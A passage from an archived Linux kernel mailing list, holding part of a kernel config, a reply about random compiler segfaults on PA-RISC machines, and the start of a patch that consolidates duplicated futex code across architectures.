# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_CHACHA20POLY1305 is not set
# CONFIG_CRYPTO_SEQIV is not set
CONFIG_CRYPTO_ECHAINIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set
# CONFIG_CRYPTO_KEYWRAP is not set

#
# Hash modes
#
# CONFIG_CRYPTO_CMAC is not set
CONFIG_CRYPTO_HMAC=m
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_CRCT10DIF is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_POLY1305 is not set
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=m
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_SHA3 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_AES_TI is not set
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_CHACHA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_842 is not set
# CONFIG_CRYPTO_LZ4 is not set
# CONFIG_CRYPTO_LZ4HC is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
CONFIG_CRYPTO_DRBG_MENU=m
CONFIG_CRYPTO_DRBG_HMAC=y
# CONFIG_CRYPTO_DRBG_HASH is not set
CONFIG_CRYPTO_DRBG=m
CONFIG_CRYPTO_JITTERENTROPY=m
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set
# CONFIG_CRYPTO_HW is not set

#
# Certificates for signature checking
#
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
# CONFIG_HAVE_ARCH_BITREVERSE is not set
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_NET_UTILS=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
# CONFIG_CRC_CCITT is not set
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
# CONFIG_AUDIT_ARCH_COMPAT_GENERIC is not set
# CONFIG_RANDOM32_SELFTEST is not set
CONFIG_ZLIB_INFLATE=m
CONFIG_ZLIB_DEFLATE=m
# CONFIG_XZ_DEC is not set
# CONFIG_XZ_DEC_BCJ is not set
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_DQL=y
CONFIG_GLOB=y
# CONFIG_GLOB_SELFTEST is not set
CONFIG_NLATTR=y
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set
# CONFIG_IRQ_POLL is not set
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_SG_SPLIT is not set
CONFIG_SG_POOL=y
# CONFIG_ARCH_HAS_SG_CHAIN is not set
CONFIG_SBITMAP=y

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 4.12-rc5+: segfault while compiling, on rp3410
Date: Tue, 20 Jun 2017 12:11:51 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <d2f4c409-16db-7dbb-533f-c7e56515bceb@bell.net>
References: <alpine.LRH.2.20.1706201714280.12869@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497975119 30594 195.159.176.226 (20 Jun 2017 16:11:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 20 Jun 2017 16:11:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.0
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 20 18:11:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dNLkq-0004fb-H1
	for glpp-linux-parisc@m.gmane.org; Tue, 20 Jun 2017 18:11:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751106AbdFTQLx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 20 Jun 2017 12:11:53 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:46367 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750951AbdFTQLw (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 20 Jun 2017 12:11:52 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170620161151.JCVB14079.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 20 Jun 2017 12:11:51 -0400
Original-Received: from [192.168.0.125] (really [65.93.110.117])
          by mtlspm02.bell.net with ESMTP
          id <20170620161151.RFLQ1026.mtlspm02.bell.net@[192.168.0.125]>;
          Tue, 20 Jun 2017 12:11:51 -0400
In-Reply-To: <alpine.LRH.2.20.1706201714280.12869@math.ut.ee>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=MOePoIRl c=1 sm=0 tr=0 a=+Cvz/xWq0265DNq87Mr4GQ==:17 a=IkcTkHD0fZMA:10 a=LWSFodeU3zMA:10 a=FBHGMhGWAAAA:8 a=EibR1szZcTBLqR5GVlsA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27515>

On 2017-06-20 10:20 AM, Meelis Roos wrote:
> I am using gentoo on my hppa machines and just tried
> 4.12.0-rc5-00187-gab2789b at the end of last week. This time there
> was new gcc release so a lot of work. rp3440 and A500 had no problems,
> rp3410 errored out with SIGSEGV, twice.
Helge and I have had a long discussion about these SEGVs.  They are 
essentially random.
The are very rare on UP machines.  I don't think we have seen one yet on 
the panama buildd
machine which is also a rp3410.  They are much more common on phantom 
which is four way
c8000 at 1 GHz.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/1] futex: remove duplicated code and fix UB
Date: Wed, 21 Jun 2017 13:53:18 +0200
Lines: 1182
Approved: news@gmane.org
Message-ID: <20170621115318.2781-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1498046017 19469 195.159.176.226 (21 Jun 2017 11:53:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 21 Jun 2017 11:53:37 +0000 (UTC)
Cc: mingo@redhat.com, peterz@infradead.org, dvhart@infradead.org,
        linux-kernel@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <ben
To: tglx@linutronix.de
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jun 21 13:53:26 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dNeCL-0004Oe-RK
	for glpi-linux-ia64-2@m.gmane.org; Wed, 21 Jun 2017 13:53:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751120AbdFULxa (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 21 Jun 2017 07:53:30 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:45270 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1750927AbdFULx2 (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 21 Jun 2017 07:53:28 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 33A60AB09;
        Wed, 21 Jun 2017 11:53:24 +0000 (UTC)
X-Mailer: git-send-email 2.13.1
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28019 gmane.linux.kernel:2506634 gmane.linux.ports.alpha:4258 gmane.linux.kernel.arc:2570 gmane.linux.ports.arm.kernel:586389 gmane.linux.ports.hexagon:1353 gmane.linux.ports.mips.general:59930 gmane.linux.ports.parisc:27516 gmane.linux.ports.ppc64.devel:143678 gmane.linux.ports.sh.devel:55570 gmane.linux.ports.sparc:25679 gmane.linux.kernel.cross-arch:37551
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28019>

There is code duplicated over all architecture's headers for
futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
and comparison of the result.

Remove this duplication and leave up to the arches only the needed
assembly which is now in arch_futex_atomic_op_inuser.

This effectively distributes the Will Deacon's arm64 fix for undefined
behaviour reported by UBSAN to all architectures. The fix was done in
commit 5f16a046f8e1 (arm64: futex: Fix undefined behaviour with
FUTEX_OP_OPARG_SHIFT usage).  Look there for an example dump.

Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
remove pointless access_ok() checks") as access_ok there returns true.
We introduce it back to the helper for the sake of simplicity (it gets
optimized away anyway).

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Vineet Gupta <vgupta@synopsys.com>
Acked-by: Russell King <rmk+kernel@armlinux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>
Cc: Stafford Horne <shorne@gmail.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Acked-by: Michael Ellerman <mpe@ellerman.id.au> (powerpc)
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com> [s390]
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: Rich Felker <dalias@libc.org>
Cc: "David S. Miller" <davem@davemloft.net>
Acked-by: Chris Metcalf <cmetcalf@mellanox.com> [for tile]
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: <x86@kernel.org>
Cc: <linux-alpha@vger.kernel.org>
Cc: <linux-kernel@vger.kernel.org>
Cc: <linux-snps-arc@lists.infradead.org>
Cc: <linux-arm-kernel@lists.infradead.org>
Cc: <linux-hexagon@vger.kernel.org>
Cc: <linux-ia64@vger.kernel.org>
Cc: <linux-mips@linux-mips.org>
Cc: <openrisc@lists.librecores.org>
Cc: <linux-parisc@vger.kernel.org>
Cc: <linuxppc-dev@lists.ozlabs.org>
Cc: <linux-s390@vger.kernel.org>
Cc: <linux-sh@vger.kernel.org>
Cc: <sparclinux@vger.kernel.org>
Cc: <linux-xtensa@linux-xtensa.org>
Cc: <linux-arch@vger.kernel.org>
---
 arch/alpha/include/asm/futex.h      | 26 ++++---------------
 arch/arc/include/asm/futex.h        | 40 ++++-------------------------
 arch/arm/include/asm/futex.h        | 26 +++----------------
 arch/arm64/include/asm/futex.h      | 26 +++----------------
 arch/frv/include/asm/futex.h        |  3 ++-
 arch/frv/kernel/futex.c             | 27 +++-----------------
 arch/hexagon/include/asm/futex.h    | 38 +++-------------------------
 arch/ia64/include/asm/futex.h       | 25 +++----------------
 arch/microblaze/include/asm/futex.h | 38 +++-------------------------
 arch/mips/include/asm/futex.h       | 25 +++----------------
 arch/openrisc/include/asm/futex.h   | 39 +++--------------------------
 arch/parisc/include/asm/futex.h     | 26 +++----------------
 arch/powerpc/include/asm/futex.h    | 26 ++++---------------
 arch/s390/include/asm/futex.h       | 23 ++++-------------
 arch/sh/include/asm/futex.h         | 26 +++----------------
 arch/sparc/include/asm/futex_64.h   | 26 ++++---------------
 arch/tile/include/asm/futex.h       | 40 ++++-------------------------
 arch/x86/include/asm/futex.h        | 40 ++++-------------------------
 arch/xtensa/include/asm/futex.h     | 27 ++++----------------
 include/asm-generic/futex.h         | 50 +++++++------------------------------
 kernel/futex.c                      | 36 ++++++++++++++++++++++++++
 21 files changed, 127 insertions(+), 506 deletions(-)

diff --git a/arch/alpha/include/asm/futex.h b/arch/alpha/include/asm/futex.h
index fb01dfb760c2..05a70edd57b6 100644
--- a/arch/alpha/include/asm/futex.h
+++ b/arch/alpha/include/asm/futex.h
@@ -25,18 +25,10 @@
 	:	"r" (uaddr), "r"(oparg)				\
 	:	"memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -62,17 +54,9 @@ static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arc/include/asm/futex.h b/arch/arc/include/asm/futex.h
index 11e1b1f3acda..eb887dd13e74 100644
--- a/arch/arc/include/asm/futex.h
+++ b/arch/arc/include/asm/futex.h
@@ -73,20 +73,11 @@
 
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
-
 #ifndef CONFIG_ARC_HAS_LLSC
 	preempt_disable();	/* to guarantee atomic r-m-w of futex op */
 #endif
@@ -118,30 +109,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arm/include/asm/futex.h b/arch/arm/include/asm/futex.h
index 6795368ad023..cc414382dab4 100644
--- a/arch/arm/include/asm/futex.h
+++ b/arch/arm/include/asm/futex.h
@@ -128,20 +128,10 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 #endif /* !SMP */
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 #ifndef CONFIG_SMP
 	preempt_disable();
 #endif
@@ -172,17 +162,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arm64/include/asm/futex.h b/arch/arm64/include/asm/futex.h
index f32b42e8725d..5bb2fd4674e7 100644
--- a/arch/arm64/include/asm/futex.h
+++ b/arch/arm64/include/asm/futex.h
@@ -48,20 +48,10 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (int)(encoded_op << 8) >> 20;
-	int cmparg = (int)(encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1U << (oparg & 0x1f);
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -91,17 +81,9 @@ futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/frv/include/asm/futex.h b/arch/frv/include/asm/futex.h
index 2e1da71e27a4..ab346f5f8820 100644
--- a/arch/frv/include/asm/futex.h
+++ b/arch/frv/include/asm/futex.h
@@ -7,7 +7,8 @@
 #include <asm/errno.h>
 #include <linux/uaccess.h>
 
-extern int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr);
+extern int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr);
 
 static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
diff --git a/arch/frv/kernel/futex.c b/arch/frv/kernel/futex.c
index d155ca9e5098..37f7b2bf7f73 100644
--- a/arch/frv/kernel/futex.c
+++ b/arch/frv/kernel/futex.c
@@ -186,20 +186,10 @@ static inline int atomic_futex_op_xchg_xor(int oparg, u32 __user *uaddr, int *_o
 /*
  * do the futex operations
  */
-int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+int arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -225,18 +215,9 @@ int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS; break;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 
-} /* end futex_atomic_op_inuser() */
+} /* end arch_futex_atomic_op_inuser() */
diff --git a/arch/hexagon/include/asm/futex.h b/arch/hexagon/include/asm/futex.h
index 7e597f8434da..c607b77c8215 100644
--- a/arch/hexagon/include/asm/futex.h
+++ b/arch/hexagon/include/asm/futex.h
@@ -31,18 +31,9 @@
 
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -72,30 +63,9 @@ futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/ia64/include/asm/futex.h b/arch/ia64/include/asm/futex.h
index 76acbcd5c060..6d67dc1eaf2b 100644
--- a/arch/ia64/include/asm/futex.h
+++ b/arch/ia64/include/asm/futex.h
@@ -45,18 +45,9 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -84,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
